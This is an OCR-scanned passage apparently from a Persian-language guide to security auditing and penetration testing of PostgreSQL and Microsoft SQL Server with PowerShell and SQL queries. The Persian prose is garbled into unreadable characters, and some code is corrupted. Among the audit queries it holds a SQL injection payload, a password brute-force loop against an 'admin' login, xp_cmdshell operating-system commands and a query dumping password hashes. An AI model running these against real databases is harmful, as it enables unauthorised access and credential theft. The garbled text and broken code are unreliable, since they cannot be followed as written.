J.AL:J aliBre 00l LsLiboli.)L’ 9 LQW l; AJ‘BJGA 9 Sl ).’J..: 4:...»5; )L_m..: g_)"‘ | 08U ‘5>‘).b ‘5._\u)iu

RIW R T S UEESP PRE NSRS I VIR CL Sy PRVE S SEON IYLIOW Jrp- JVRR VOV 3\ IRPIC O VR QT g il atsls
oS &9,0 PowerShell ;l oslaiul L PostgreSQL sols oSl 4 Jlasl b awas o5l ¢ sl
Connecting to PostgreSQL with PowerShell

6‘)‘3 SQL Lgl.(bsm)).g 9 L€b3.> 9 UvR L§|J'>‘ ‘.JvQLA-AJ :YW POStgreSQL ool oli:L’ 6‘).3 ;M | (S’L’))‘
ooliiul 850 ol slagm 5wy el SIS sladie) 5 o yol slagan S das pdsaml olulis
g B> g oy 3l P el o all Oglae lojle il Gleldl g Sbs,l acels 4y an el S

109 oo oolaiwl POStEreSQL sl ool o)l 5l (cidu (lsie 4 aS 015 5429 SQL ) sbo oy
:User and privilege assessment

PostgreSQL 1,15 cud slp 9> 9 o p

SELECT username FROM pg_user;

)8 Sl w2 9 9 o
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SELECT grantee, privilege _type, table_name FROM information_
schema.role_table grants WHERE grantee = 'your_username’;

el Gt ShLsel b ol )5 olelid Glp 9> 9 o p

SELECT usename,
CASE
WHEN usesup = TRUE THEN 'Superuser'
WHEN usecdb = TRUE THEN 'Create DB'
WHEN usecat = TRUE THEN 'Update Catalog'
ELSE 'No Excessive Privileges'
END AS privilege_type
FROM pg_user
WHERE usesup = TRUE OR usecdb = TRUE OR usecat = TRUE;

:Password policy assessment

19 3oy Pollcy g_)Lo.Ja.u o lie Lg\).gj?juu).;

SELECT name AS "Parameter", setting AS "Value" FROM pg_settings
WHERE name LIKE 'password%';
:Auditing and logging
2 b Cesl Jlad POSTEreSQL (coges 52 5 oy (5,55 LT Sl (g 2 sl 92 5 o2

SELECT
name AS "Parameter",
setting AS "Value"
FROM pg_settings
WHERE name = 'logging_collector’;

e b el Jleé PostgreSQL slow query log LT 4| o S s g o
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SELECT
name AS "Parameter",
setting AS "Value"
FROM pg_settings
WHERE name IN ('log_statement’, 'log_duration');

:Network and firewall configuration
PostgreSQL bind .,01 w0 sl 95 9 o p

SELECT

name AS "Parameter",

setting AS "Bind Address"
FROM pg_settings
WHERE name = 'listen_addresses';

5l Gl YLl cencd (sl 92 5 oy

SELECT version();

:Access control verification
et )‘ u.u.u Lgl.(b)sm l.’ oob LgLQoli’L: LS’LA.&JLMAJ ‘5‘)3 IR

SELECT
schemaname AS "Schema",
tablename AS "Table/View",
privilege type AS "Privilege",
grantee AS "User/Role"
FROM information_schema.role_table_grants
WHERE
privilege_type IN ('SELECT', 'INSERT', 'UPDATE', 'DELETE')
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AND grantee NOT IN ('postgres’, 'public'’)

AND schemaname NOT IN (‘information_schema', 'pg_catalog')
ORDER BY

schemaname, tablename, privilege_type, grantee;

Wildcard sla Hostname b o1 ,l5 v, 0 sl 9> 5 o

SELECT
r.rolname AS "Username",
s.clienthostname AS "Host"

FROM pg stat statements

JOIN pg_roles r ON r.oid = s.userid

WHERE
s.clienthostname LIKE '%_ %' ESCAPE '|';

:Data protection and encryption
SSL/TLS (o9 Jud oy 2 sln 52 9 o2

SELECT
name AS "Parameter",
setting AS "SSL/TLS Enabled"
FROM pg_settings
WHERE name ='ssl’;

:Backup security
Ol 65 Oleidy e oy Slr 97 5 oo

SELECT
rolname AS "Role Name",
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path AS "File or Directory Path",

access,

pg_stat_file_mode(access) AS "Permissions"
FROM pg_stat_file
JOIN

pg_roles ON pg_roles.oid = pg_stat_file.st_ owner
WHERE

path LIKE '/path/to/backup/directory%';

:SQL injection testing

(staleyl Glaal 61, SAL 3,5 adgl 3 Sy (5lw ad Sl 92 5 o

SELECT * FROM Products WHERE ProductID ='1 OR 1=1; --';

:‘Brute-force detection
39,9 SN p o)l Glp 9> g wp

# Import the Npgsql module
Import-Module Npgsql

# PostgreSQL server details

Sserver = "your_postgresql_server"
Sdatabase = "your_database"
Susername = "your_username"
Spassword = "your_password"

# Connection string

SconnectionString = "Server=S$server;Database=Sdatabase;User
ld=Susername;Password=Spassword;"
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#SQL query

Squery = @"

SELECT
datname AS "Database",
usename AS "Username",
client_addr AS "Client IP Address",
client_port AS "Client Port",
backend_start AS "Backend Start Time",
state AS "Connection State",
application_name AS "Application Name"

FROM

pg_stat activity
WHERE

state = 'active’;
'@
try {

# Establish connection

Sconnection = New-Object Npgsql.NpgsglConnection
Sconnection.ConnectionString = SconnectionString
Sconnection.Open()

# Execute the query

Scommand = New-Object Npgsql.NpgsglCommand(Squery,
Sconnection)

Sreader = Scommand.ExecuteReader()

# Display results
if (Sreader.HasRows) {
while (Sreader.Read()) {
Write-Host "Database: S(Sreader["Database"]), Username:
S(Sreader["Username"]), Client IP Address: S(Sreader["Client
IP Address"]), Client Port: S(Sreader["Client Port"]), Backend
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Start Time: S(Sreader["Backend Start Time"]), Connection
State: S(Sreader["Connection State"]), Application Name:
S(Sreader["Application Name"])"

}

} else {
Write-Host "No active connections found."

}
} catch {

Write-Host "Error executing SQL query: §_"
}Hfinally {
# Close connection
if (Sconnection.State -eq 'Open') {
Sconnection.Close()

}

Sy el 2bs,l 5l st sl e a5 aiiee SAL @) Glocwyp g bex 5 Lop 5l (S kil
aials ol kel (sloiielas oll sl Scme olitil g0 Lol slo i, ol POStEreSQL
QSLE:.';A RS o ﬁlgd\ |) Lg.’L’.})‘ as w‘ Qta..a;'d_,o Ja.ug; 0y u)f )lf e Lngg;‘,:i)iwl 3 L:a)b.ﬂ ‘6_31.3.)')|

Al

Vulnerability assessment

o] f“‘“'”"‘““’ u_ia o 09.0.”.’ (5"""‘" LgL(bLgJJAJwT LS’L’))‘ 9 LS’LAJJLMA-’ .A.ui).s “5))&\-’%“ (S’L’))‘
Lois PostgreSQL loswe ;0 ool aslis sl pdscaw] gwyp b al> 0 cpl o uilss o PowerShell
A8 SLS

Version scanning

2 SQAL 55> 9wy sly>! L PostgreSQL cols oL asews olulis 51, PowerShell sl olg o Les
el 00 08 51 IS ol plouil 0go | Sl Lol jo 0uS eolaiwl ools oSG ol
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Import-Module Npgsql
Sserver = "postgresql.snowcapcyber.com"
Sport = 5432
Sdatabase = "mypostdb"
Susername = "mypostuser"
Spassword = "mypostpassword"
SconnectionString = "Host=Sserver;Port=Sport;Database=Sdatabase;User-
name=Susername;Password=Spassword;"
Sconnection = Connect-Npgsql -ConnectionString SconnectionString
if (Sconnection.State -eq 'Open') {
# Define the SQL query to retrieve the PostgreSQL version
SversionQuery = "SELECT version();"
Scommand = Sconnection.CreateCommand|()
Scommand.CommandText = SversionQuery
Sresult = Scommand.ExecuteScalar()
if (Sresult) {
Write-Host "PostgreSQL Database Version: Sresult"
} else {
Write-Host "Unable to retrieve PostgreSQL database version."

}

Sconnection.Close()

}

else {
Write-Host "Failed to connect to the PostgreSQL database."
}

e o0 pll ) 25 9 M50 Jle cnl 5o

28 o)l Import-Module l estaal L PostgreSQL Jlasl sl |, Npgsql Jgst )

Qg felae AS Gy 1) 50 5y 5 6l pU cosls oSl ol gy €59y atile Jlail slo el )y Y
Dlodges oy Sl 095 o28ls POSTEreSQL g m lisz L1, polie ol as

il (LB oads iy o5 sla el )y oS 5 L) Jlasl s, WY

QS ol sats axsle Jlasl ai, L Connect-Npgsql l eolacwl b Jlasl oo S . ¢

Oy 3 el B3ge Ll soims Lis a5 5 b Canl 5b Jlas] Condg LT a8 0iS 1O
oS oo POSEEreSQL ases olulis 4 pladl (04 sl Cubdge
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S i a5 SELECT version(); !> L PostgreSQL ase.s objb sl SQL (5555 o .1
ole 3 yie g 0uiS slwl Sconnection.CreateCommand() ;i eslicwl Lcommand & s .Y
S i version query s, |,
Sresult e ;5 1, 4z g 0 |,>1 Scommand.ExecuteScalar() 5l oslacwl b1y g 5 oy A
DS 0 S
olis w9 cpl jmé 0 0uiS o ol |, POStgreSQL ocols ol asns wils yho asmes 51 .9
S b 1) e olyl ood &5 e o0
i oo Sconnection.Close() 5l eslasl L 1, osls ol Jlasl ccules jo ) ¢
o 9 0S oo Db5L 1 ] s g 040 o Juaie POStEreSQL cols o551 4 PowerShell e Sl !
Dgd oo 08l ioled JgudS 0

Penetration testing

g ool MYSQL il condg bl g Mo (5l 4l (51, il o POwerShell .l
SQL injection testing
L1, SQAL 5,5 e wilgs o PowerShell el oy cov sladal p gl (6 pdscaw! S5 SQL &, 55
WS gl A Loy 4ol yo  Jles LngLgﬁ&iW] 3l oolatwl g (gl p e SRg> g oy ol
Brute-force attacks
&lp 5o L PostgreSQL ools oL sl joee 30, 5 52,5 b iolosl sl PowerShell ;1 olgs
ize 00 A1) y9ue 30y 9 (5,05 AU il juel CBdge Jlasl ST .08 soliiwl sols s55L a4 Jlasl s,1,8
09...0‘50 o..\.:b)f).’ Uas- AS.: u)s.oa L)"‘ ).A.C 5o R
Import-Module Npgsql
Sserver = "postgresql.snowcapcyber.com"

Sport = 5432
Sdatabase = "mypostdb"

A
h

A
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Susername = "mypostuser"
Spassword = "mypostpassword"
SconnectionString =
"Host=Sserver;Port=Sport;Database=Sdatabase;Username=Susername;Passwor
d=Spassword;"
try {
Sconnection = Connect-Npgsql -ConnectionString SconnectionString
if (Sconnection.State -eq 'Open') {
Write-Host "Connection to PostgreSQL database successful. Username
and password are valid."
Sconnection.Close()
} else {
Write-Host "Connection to PostgreSQL database failed. Username
and/or password are invalid."

}

}
catch {

Write-Host "An error occurred while connecting to the PostgreSQL
database: S_.Exception.Message"

}

Access control verification

@ Klg o PowerShell .col Sl ool oL conl glp caslin gwyiws slaJ, S 5l bl
&S S PostgreSQL g ,w 0 )5 sla i 5 oljlitel o Liel

Listing PostgreSQL users

ools oL o PostgreSQL .15 0,5 cewpnd sl Npgsal Jssle L PowerShell ;I olgs
A8 oolawl PostgreSQL

# Import the Npgsql module
Import-Module Npgsq|l
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# PostgreSQL server details

Sserver = "postgresqgl.snowcapcyber.com"
Sport = 5432

Sdatabase = "mypostdb"

Susername = "mypostuser"

Spassword = "mypostpassword"

# Connection string

SconnectionString =
"Host=$server;Port=Sport;Database=$database;Username=$username;Passwor
d=$password;"

try {
# Attempt to connect to the PostgreSQL database

Sconnection = Connect-Npgsql -ConnectionString SconnectionString

# Check if the connection is open
if (Sconnection.State -eq 'Open’) {
Write-Host "Connection to PostgreSQL database successful. Username
and password are valid."

# Close the connection
Sconnection.Close()
} else {
Write-Host "Connection to PostgreSQL database failed. Username
and/or password are invalid."
}
} catch {
# Display error message if connection attempt fails
Write-Host "An error occurred while connecting to the PostgreSQL database:
S_.Exception.Message"
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Checking user privileges

soliwl PostgreSQL sols oL ;o 0,8 wljliel () 1 51 NPgSAl Jgsk L PowerShell 51 olgs
|,>| POstgreSQL wivew s SJLE ol ,0 1, SAL log> 5 oy duilsi oo 5 ol plol gl S
RVELY 6)9] oz |y )5 Slilanl 4 bgs o Sledol b oS

Import-Module Npgsql
Sserver = "postgresql.snowcapcyber.com"
Sport = 5432
Sdatabase = "mypostdb"
Susername = "mypostuser"
Spassword = "mypostpassword"
SconnectionString =
"Host=Sserver;Port=Sport;Database=Sdatabase;Username=Susername;Passwor
d=Spassword;"
Sconnection = Connect-Npgsql -ConnectionString SconnectionString
if (Sconnection.State -eq 'Open') {
# Define the SQL query to check user privileges
SprivilegesQuery = @"
SELECT
grantee,
privilege type,
table_name
FROM
information_schema.role_table_grants
WHERE
grantee = 'Susername';" @
Scommand = Sconnection.CreateCommand()
Scommand.CommandText = SprivilegesQuery
Sprivileges = Scommand.ExecuteReader()
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if (Sprivileges.HasRows) {

Write-Host "User Privileges for Susername in Sdatabase:"

while (Sprivileges.Read()) {
Sgrantee = Sprivileges['grantee']
SprivilegeType = Sprivileges['privilege_type']
StableName = Sprivileges['table_name']
Write-Host " Grantee: Sgrantee, Privilege Type: SprivilegeType, Table

Name: StableName"

}} else {
Write-Host "No privileges found for user Susername in Sdatabase." }
Sconnection.Close() }
else {
Write-Host "Failed to connect to the PostgreSQL database."}

ooliiwl IS pwyiwd Gdjgme § G9i> 4 by e wledbl 28,5 ¢l PowerShell ;i L Ls oS o
oS 5

Security policy testing

Xl o PowerShell oS Jloel |, sl wlesdass g lacewlow b aas o o5l ) pow 4 PostgreSQL
A Sinlas Boged i b 45 858 ol lipalsl b ans plal 555 j5bay |y o salas ) 25
Password policy assessment

Gl i Jolaz 0 g ol YW PostgreSQL ools olL o joue o, (oo a3 b, oy
PostgreSQL sy a5 Jl> o .ol joue 3o, 4 bgye slocuslow § Slagdas 0550 40 Sledbl LU 3L

55 (550 0ol ol slaptanms 5l (F i ) WS ood Jlesl (oo Djg0 1 1) He o) slaciliw
PowerShell & ,b ;I SQL slags g wp 5l ooliiwl b1, joue 50, Copan 5l ool sloacs ol o oo
1l oo 08,51 S cpl plosl egou 51 Jlie el 40 0usS )y 0

Import-Module Npgsq|l
Sserver = "postgresql.snowcapcyber.com"
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Sport = 5432
Sdatabase = "mypostdb"
Susername = "mypostuser"
Spassword = "mypostpassword"
SconnectionString =
"Host=Sserver;Port=Sport;Database=Sdatabase;Username=Susername;Passwor
d=Spassword;"
Sconnection = Connect-Npgsql -ConnectionString SconnectionString
if (Sconnection.State -eq 'Open’') {
SpasswordSettingsQuery = @"
SELECT
name AS "Parameter",
setting AS "Value"
FROM
pg_settings
WHERE
name IN (‘password_encryption', '‘password_check_duration’,
'‘password_min_length');"@
Scommand = Sconnection.CreateCommand()
Scommand.CommandText = SpasswordSettingsQuery SpasswordSettings
= Scommand.ExecuteReader()

if (SpasswordSettings.HasRows) {
Write-Host "Password Policy Settings in PostgreSQL for Sdatabase:"
while (SpasswordSettings.Read()) {
Sparameter = SpasswordSettings['Parameter']
Svalue = SpasswordSettings['Value']
Write-Host " Sparameter: Svalue"

}
}

else {
Write-Host "No password policy settings found in PostgreSQL
for Sdatabase."
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}

Sconnection.Close()}
else {
Write-Host "Failed to connect to the PostgreSQL database."}

SSL/TLS configuration

polie 9 SSL &y bgyje sl il )b sy Jolis POStgreSQL ools oL o SSL/TLS G, 2l
PostgreSQL ools oKL ;0 SSL/TLS (sun S o, sl 2 PowerShell Jio oG bxul jo .l o]

1wl 00U oo)5]

Import-Module Npgsql
Sserver = "postgresql.snowcapcyber.com"
Sport = 5432
Sdatabase = "mypostdb"
Susername = "mypostuser"
Spassword = "mypostpassword"
SconnectionString =
"Host=Sserver;Port=Sport;Database=Sdatabase;Username=Susername;Passwor
d=Spassword;"
Sconnection = Connect-Npgsql -ConnectionString SconnectionString
if (Sconnection.State -eq 'Open’') {
SsslConfigQuery = @"
SELECT
name AS "Parameter”,
setting AS "Value"
FROM
pg_settings
WHERE
name IN ('ssl', 'ssl_ca_file', 'ssl_cert_file', 'ssl_key__
file', 'ssl_ciphers');" @
Scommand = Sconnection.CreateCommand()
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Scommand.CommandText = SsslConfigQuery
SsslConfigSettings = Scommand.ExecuteReader()
if (SsslConfigSettings.HasRows) {
Write-Host "SSL/TLS Configuration in PostgreSQL for Sdatabase:"
while (SsslConfigSetting = SsslConfigSettings.Read()) {
Sparameter = SsslConfigSetting['Parameter']
Svalue = SsslConfigSetting['Value']
Write-Host " Sparameter: Svalue"

}
}

else {
Write-Host "No SSL/TLS configuration settings found in PostgreSQL for
Sdatabase." }
Sconnection.Close() }
else {
Write-Host "Failed to connect to the PostgreSQL database."}

I, SSL/TLS & bg,e Sloslass g oo o POStgreSQAL osls oKL 4 PowerShell e, Sul ¢y
A5 S el WS o0 S Lo 4y ol oo o &l SSL/TLS Gl ;S 0550 )0 Sledlbl g uiS o 2L )
Iy oo (6o Sy SSL (slaje; g 0iS (cny o |y GoalS BB (sl youns g anlinlsS ol Jlad SSL/TLS L]
S won

Data protection and encryption

PostgreSQL s oo (sjlw ooly (5,035 50, g lools 5l cble> mhaw obj,) sl olg5 0 POwWerShell ;|
S,S solatuwl

Data encryption

S8 50, sla gy 5 (5,008 50, 09 Jled sy Jelis POSTEreSQL ools ol 4o bosls (5,135 50, ob ;)]
oals ol o Weesls (5,038 50, obj,l &l PowerShell Jio & bxol jo ol solatsl Jl> o

:Cwl o0l 00,41 POstgreSQL
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Import-Module Npgsql
Sserver = "postgresql.snowcapcyber.com"
Sport = 5432
Sdatabase = "mypostdb"
Susername = "mypostuser"
Spassword = "mypostpassword"
SconnectionString =
"Host=Sserver;Port=Sport;Database=Sdatabase;Username=Susername;Passwor
d=Spassword;"
Sconnection = Connect-Npgsql -ConnectionString SconnectionString
if (Sconnection.State -eq 'Open') {
SencryptionQuery = @"
SELECT
name AS "Parameter",
setting AS "Value"
FROM
pg_settings
WHERE
name IN ('ssl', 'ssl_ca_file', 'ssl_cert_file', 'ssl_key
file');"@
Scommand = Sconnection.CreateCommand()
Scommand.CommandText = SencryptionQuery
SencryptionSettings = Scommand.ExecuteReader()
if (SencryptionSettings.HasRows) {
Write-Host "Encryption Settings in PostgreSQL for Sdatabase:"
while (SencryptionSetting = SencryptionSettings.Read()) {
Sparameter = SencryptionSetting['Parameter']
Svalue = SencryptionSetting['Value']
Write-Host " Sparameter: Svalue"
}
}

else {
Write-Host "No encryption settings found in PostgreSQL for
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Sdatabase."
}

Sconnection.Close()
}
else {
Write-Host "Failed to connect to the PostgreSQL database." }

Backup security

S99y LSMJ)"‘MQ LSLQJ).A_AS 9 Lb)gm ) r J.ALM: POStgreSQL ool oli:l.’ L ‘srfuw w‘ )y
10 39290 sla bl aS o )ls 099 POwerShell Ji oG ol jo cwl o938 pls g latio sla bl
1008 oo oy |y o] (il Slenlais 5 0iS' oo s | Lty o 0

SbackupDirectory = "C:\path\to\backup\directory"
SbackupFiles = Get-ChildItem -Path SbackupDirectory
if (SbackupFiles.Count -gt 0) {
Write-Host "PostgreSQL Backup Files in SbackupDirectory:"
foreach (SbackupFile in SbackupFiles) {
SbackupFilePath = SbackupFile.FullName
Write-Host "Backup file: S(SbackupFile.Name)"
SfileSecurity = Get-Acl -Path SbackupFilePath
Write-Host "Security settings:"
foreach (Sace in SfileSecurity.Access) {
Write-Host " User/Group: S(Sace.ldentityReference),
Permissions: $(Sace.FileSystemRights)"

}
Write-Host ""

}
}else {

Write-Host "No PostgreSQL backup files found in the specified
directory."

}
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Logging and monitoring

Golg> a4 Fewly 9 olulid sl PostgreSQL ol 5 s slaco bl bl o wilss o PowerShell
S S8 el

Reviewing error logs

5 475 g oaile> L PostgreSQL sols oL o Uas slajb,155 o, » sl PowerShell 5 olys
S o 1y 093 Y e LB Yeers PostgreSQL oS colinu! PostgreSQL Y by Ll Jlss

P9 u».\:‘g? Lg‘).g PowerShell )| oolarul 097U )‘ U’JL.Q L?Lu‘ 90 e g 2 H9 e (59 &M 6)935).1‘»5
sl 00l 03,41 o €rror log

SlogDirectory = "C:\PostgreSQL\13\data\pg_log"
SlogFiles = Get-Childltem -Path SlogDirectory -Filter "postgresql*.
log"
if (SlogFiles.Count -gt 0) {
Write-Host "PostgreSQL Error Logs:"
foreach (SlogFile in SlogFiles) {
SlogFilePath = SlogFile.FullName
Sloglines = Get-Content -Path SlogFilePath
Write-Host "Log file: S(SlogFile.Name)"
SerrorEntries = Sloglines | Where-Object { S_ -match
"ERROR |FATAL|PANIC" }
if (SerrorEntries.Count -gt 0) {
Write-Host "Errors found:"
foreach (SerrorEntry in SerrorEntries) {
Write-Host " SerrorEntry"
}
}else {
Write-Host "No errors found in this log file."

}
Write-Host ""
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}else {
Write-Host "No PostgreSQL log files found in the specified
directory."

}

§95 Sl Sl auS SaS Lo a4 5 0iS o0liil b €F1OF 108 51 0uils o ¢ el s S5 51 ciide ylgie

PowerShell and Microsoft SQL (MSSQL)

Slaebl g1y Sl aadsg o Microsoft SQL Server sols ool ply 40 sal> sl s S plol
oby o olge & PowerShell el s sloosls (og wyws 10 g (S LSS (09 dilo e
33138 Gl )5 (oot 5 g5 oo wblisg ol L a3l Ansss (mmlogil szl 5 0,15 dad (ceggiasl
Microsoft SQL 4 PowerShell _.lul izl o sl cons O3y a0 i3lo 5l 8 .0uS Ly

Lol (5,95 SETVES

Sloo ;S j9b s aS el (RDBMS) (slalasl, ool oL cu o pies S Microsoft SQL Server
s T59 SQL Server aiS o Copie g 033 1) ail cle sleosls a5 55 o )8 oolaiwl 550
o3 oo Bl (rren 5 6515 50 Gome (Zaga ol alex 5l 98 (Sl

AsS 18, SQL Server by, il Instance 4 Jlas!l G wb o el s ald g9, slp
Slaiges el yo .08 S5 SqlServer Jgske 5l oolitwl b Jlash G ol jo i 40 wilgs o POwerShell
‘] 00l 00,91 SQL Server osls o554 4 Jlas!

# Import the SqlServer module (Ensure it's installed)
Import-Module SqlServer

# Replace these values with your SQL Server details
Sserverlnstance = "localhost"

Sdatabase = "YourDatabase"

Susername = "YourUsername"
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Spassword = "YourPassword"

# Create a SQL Server connection

SconnectionString = "Server=S$serverinstance;Database=Sdatabase;User

ld=Susername;Password=Spassword;"

Sconnection = New-Object System.Data.SqlClient.SqlConnection

Sconnection.ConnectionString = SconnectionString

# Open the connection

Sconnection.Open()

# Check if the connection is open

if (Sconnection.State -eq [System.Data.ConnectionState]::Open) {
Write-Host "Connected to SQL Server successfully!"

}else {
Write-Host "Failed to connect to SQL Server."

}

# Close the connection when done
Sconnection.Close()

oS o0 Jos ) Dyge 4 (B30 0

S Import 1, SqlServer g5l ®

WSS a5 |y Gaee 3oy 9 60,5 b el oL server instance) Jlasl oli> e

sl SQL Server Jlas! S, System.Data.SqlClient.SqlConnection oMS 5l eolazwl L @
Sk Jlasl e

e b sl 039y el Copibge Jlasl LT a5 0iS s @

Aoaies ) Jlasl plesl 5l @

s ol 1) el et 4y bgy e alises slacolled wilss o o 0ge Jlasl Sy L @

Sy el slp Slg o Geizmen oS Gl peiad o0lo oBGL L LLI )18 Sl po Lo (LS Jh 55k oS 0
8¢ oolaxwl brute-force alo>
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Vulnerability assessment

ol s Sy el el Sl piyaesl b)) s @lebs Jls srdyesl )l
Lo 4 SQL Server Lusw o oo aisbiss slogs pdycam! gw)p b al> 0 ol ,o &l o PowerShell
S S

SQL server version scanning

1S gt oolainl 9550 4w Sledbl oLk 51, 1, SQL Server uilgs . PowerShell

Sserverinstance ="127.0.0.1"

Sconnection = New-Object System.Data.SqlClient.SglConnection
Sconnection.ConnectionString =
"Server=Sserverlnstance;Database=master;Integrated Security=True;"
Sconnection.Open()

Scommand = Sconnection.CreateCommand()
Scommand.CommandText = "SELECT @ @VERSION;"

Sversion = Scommand.ExecuteScalar()

Write-Host "SQL Server Version: Sversion"

Sconnection.Close()

e s bl ) 55 0)lge JLw el 5o
S ol ! SQL Server Instance 4 Jlasl o @

S 1>1SQL Server asus Jbib slp 655 S @

Ju.:l.o.a oualiw ‘)méb.byfo Sl e
Penetration testing

o ).3‘).3 BRIV w‘ LS"L’))‘ 6‘).’ l.(bdj.s-)uwi )‘ LS)‘Q)'.’ 0y 6‘).’ Y L)“’B'L’ JAL.AJ .)9.0.’ S
3,5 soliwl SQL Server sl cuxsy obj,l 5 e 55l 4t sl ol o PowerShell 1 .col
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SQL execution

SAL alisee slo g,y g g5 wp sl >! Jols Microsoft SQL Server 2016 sl el ob3)

Al oglae Glesle el Slel g byl asels 4y ay el

Microsoft SQL (slasols ol b Julass (sl omlio of, SqlServer Jgsle 5l eolis! L PowerShell
oS L8, bLs,1 SQL Server Instance G L b aas o o5l Lais 4y Jg5le (pl 0uS o0 ol,8 Server

Import-Module SqlServer
Sserverinstance = "localhost"
Sdatabase = "YourDatabase"
Susername = "YourUsername"
Spassword = "YourPassword"
SconnectionString = "Server=Sserverinstance;Database=Sdatabase;User
ld=Susername;Password=Spassword;"
Sconnection = New-Object System.Data.SqlClient.SglConnection
Sconnection.ConnectionString = SconnectionString
Sconnection.Open()
Squery = "SELECT * FROM YourTable"
Scommand = Sconnection.CreateCommand|()
Scommand.CommandText = Squery
Sresult = Scommand.ExecuteReader()
while (Sresult.Read()) {
Write-Host "Column1: S(Sresult["Column1"]), Column2:
S(Sresult["Column2"])"
}

Sconnection.Close()

meaisn ol |y 55 0 e Jlto ol o

oS Import |, T el oazs Import L& 51 SqlServer Jgsl 51 @
DS @y a5 |y yeae ey 5 (650, 5 pL ools oL jg e aiile Jlasl LS @
S ol ! SQL Server Jlasl G ol ol jleolatal L @
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Sy y15 1y 08 2l pesles o0 4571, SQAL 5 555 @
Lol 1y ol g asS wdas 6555 59,5 1y o] Hgiws e S sls! SQL command object . e

S Gy Sl Dyge o ]y 92 g e s @
i |y eols oL Jlail colpd jo @

5 0sS oolaul 045 SQL Server ools oL L Jolss sl PowerShell 5l vas oo Sl Lt a0 (]

OS>l ool (63,40l 0 g a0 |, SQL & jgiws

el 2yl 3 25 Olsie 4 Ysans a5 0yl 3529 SAL gy lagey e 5 sz 5 o 3l (F el 5o
134 o0 oolawl Microsoft SQL Server 2016 !

Version information

SQL Server asws JLsb sl s> 9 wp
SELECT @ @VERSION;
tsoS Sl gl g, g g lddius (owyp Slp 9> 9 o

SELECT SERVERPROPERTY('ProductVersion'),
SERVERPROPERTY('ProductLevel’);

‘Authentication and authorization
SQL g9 A o ﬁl.?u‘ Lglib Login WMJ 6‘).3 9> 9 vy
SELECT name, type_desc, is_disabled FROM sys.sql_logins;

gy gam Sl iE (8,5 S d Sl 9 g g
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SELECT name FROM sys.server_principals WHERE type = 'R’;

00l ol mhaw o 2 (9,5 Caw B Sl 92 5 v

SELECT name FROM sys.database_principals WHERE type = 'R’;

:Permissions and privileges
el L )8 S slojze gy p lp sz 9 o

EXEC sp_helprotect @username;
ol b )5 G sl Fae ools oGl slajgzme (9,5 b sl 9z 9 oo

EXEC sp_srvrolepermission @username;

:Password policy
)a.> l.» I P JLQ&‘ SQLServer aQ 05)5 LS‘)" 9 ).A) (5""’9 L g_i’ l.’T diu‘ ) ‘5‘)3 9> 9 v

SELECT name, is_policy_checked FROM sys.sql_logins WHERE is_
policy checked =1;

:Encryption and SSL/TLS

e b sl Jlad ools sleolL (sl Transparent Data Encryption L aSul v, p slp 92 9 o p

SELECT name, is_encryption_enabled FROM sys.dm_database_
encryption_keys;

1)l SSL/TLS (sla JSS g0 sy 8l 57 5 o
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EXEC xp_readerrorlog O, 1, 'SSL is enabled’;

:Backup security
0y oGk 5l (6 S Ol alile 535 S id Glr 92 9 o

SELECT database _name, backup_start_date, backup_finish_date FROM
msdb.dbo.backupset;

by A Lad> i bt vy 6lp ez g o

EXEC sp_configure 'backup retention period';

:Auditing and logging
Auditing cog Jld (o) slp 92 9 o

SELECT is_tracked_by c2 audit_mode, is_cdc_enabled FROM sys.
databases;

SQL Server slhs sla )15 cwyp sl 3 9 oy

EXEC xp_readerrorlog;

:SQL injection testing
(stalojl Slaal 61, SAL 5,5 adgl oM G (5lwads sl 92 9 o2

SELECT * FROM Products WHERE ProductID ='1 OR 1=1; --;

:‘Brute-force detection

39,9 SN p o)l Glp 9> 9 wp
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SELECT login_name, host_name, login_failed_time FROM sys.dm_
exec_connections WHERE net_transport = 'TCP';

:Database vulnerabilities
Sl sl SSgp 95k o, e (oged Cand Sl 93 9 g

el
xp_cmdshell('netstat -ano');

SAL 4 89,5 slp cxd joe Gloge, ol slp s> 5 o p
\\\Sql

SELECT name, password_hash FROM sys.sql_logins WHERE is_
disabled = 0;

:Operating system integration

SQL Server gy clus il (w2 Sl 92 9 o2

]
EXEC xp_cmdshell ‘whoami’;

SQL Server « by o o g owyr Sl 9> 9 on

g
EXEC xp_cmdshell 'sc query | findstr /i "SQL"";

Slr Sl b)) 5l (o5 wiilgi oo a5 aten SAL @y ooz 5 oz 5 Gon 5l 2 R
ool g el o oolinl 8,90 ol slog> 9wy b Microsoft SQL Server 2016
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SQL injection testing

Sproductld ="1 OR 1=1; --"

Scommand = Sconnection.CreateCommand()

Scommand.CommandText = "SELECT * FROM Products WHERE ProductID =
Sproductld;"

e o0 pll ) 23 9)l5e Jle cnl 5o
QS ol SAL &, ssks 6“1 OR 1=1;--" (44, productld olas b )

b pdyeaw! SAL &5 plp 0 cal Sow a5 oS a1, 6565 .Y
Brute-force attacks

oialesl 6l SQL Server slaclus> ade |, brute-force o> aslss o PowerShell slacs Sl
iS5 0g3 ()l 6Lacj|5)&f IPRE

Susername = "admin"
Spasswords = Get-Content "passwords.txt" # Load a list of passwords
from a file
foreach (Spassword in Spasswords) {
Scommand = Sconnection.CreateCommand()
Scommand.CommandText = "SELECT * FROM Users WHERE Username =
'Susername' AND Password = 'Spassword';"
Sresult = Scommand.ExecuteScalar()
if (Sresult -ne Snull) {
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Write-Host "Login successful for Susername with password
Spassword"
break

I8

e oo el |y 505050 Jle l jo
QS iy |y (passwords.txt) bl oSG ,0 oo 033 jeue slaje, 5l ] @
g Oylg joue joy o b oS aw g aS ST cand @
Dol B il ol T (3890 09,9 So a5 WK @

Access control verification

L ..\J‘yLSA PowerShe” o] LS’L'} 0ol oli»l.: g.,u.m‘ 6‘).: swL_A ‘SM:J.».M:Q 6LQJ)....5 )| uL&-A—Q.b‘

S LS SQL Server Instance o )5 slo i g Slslotel o Liel
Listing SQL server logins

5l sed 2L sl Sys.sql_logins SQL Server sl 5l 9> 5wy sl PowerShell ;1 ol o

0S solizl bl sl Sis 5 oSy

Scommand = Sconnection.CreateCommand()
Scommand.CommandText = "SELECT name, type_desc, is_disabled FROM sys.
sql_logins;"
Slogins = Scommand.ExecuteReader()
while (Slogins.Read()) {
Write-Host "Login: S(Slogins["name"]), Type: S(Slogins["type
desc"]), Disabled: S(Slogins["is_disabled"])"
}

e oo pll ) 23 9,150 Jle cnl 5o
DS Ll 1) g g wp S SQLServer .5V @ by o Sledbl b5k sl )

lod odolie | s 1 8955 390 Jlad a5 £98 ¢SV pb WY
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Checking user privileges

